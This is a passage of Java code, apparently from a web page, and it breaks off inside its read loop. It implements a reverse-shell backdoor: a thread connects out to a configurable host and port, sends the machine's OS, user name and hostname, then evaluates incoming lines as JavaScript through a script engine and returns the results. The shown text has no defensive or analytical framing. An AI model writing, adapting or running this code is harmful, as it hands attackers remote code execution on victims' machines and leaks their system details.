private String execCode(String code) { if (code.trim().equals("")) { return ""; } try { Object result = scriptEngine.eval(code); if (result != null) { return result + "\n"; } else { return ""; } } catch (Exception e) { return e + "\n"; } }
private String getInfo() { String info = " os: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " " + System.getProperty("os.version"); info += "\n"; info += "user: " + System.getProperty("user.name"); info += "\n"; try { info += "host: " + InetAddress.getLocalHost().getHostName(); } catch (Exception e) { info += "host: " + e; } return info; }
@Override public void run() { boolean exit = false; LocalDateTime time = LocalDateTime.now(); while (Duration.between(time, LocalDateTime.now()).toMillis() / (60.0 * 1000.0) < life && !exit) { try { Socket socket = new Socket(host, port); PrintWriter out = new PrintWriter(socket.getOutputStream()); BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
scriptEngine = new ScriptEngineManager().getEngineByName("js");
out.print(getInfo() + "\n\n>>> "); out.flush(); String input; while ((input = in.readLine()) != null) { time = LocalDateTime.now();
评论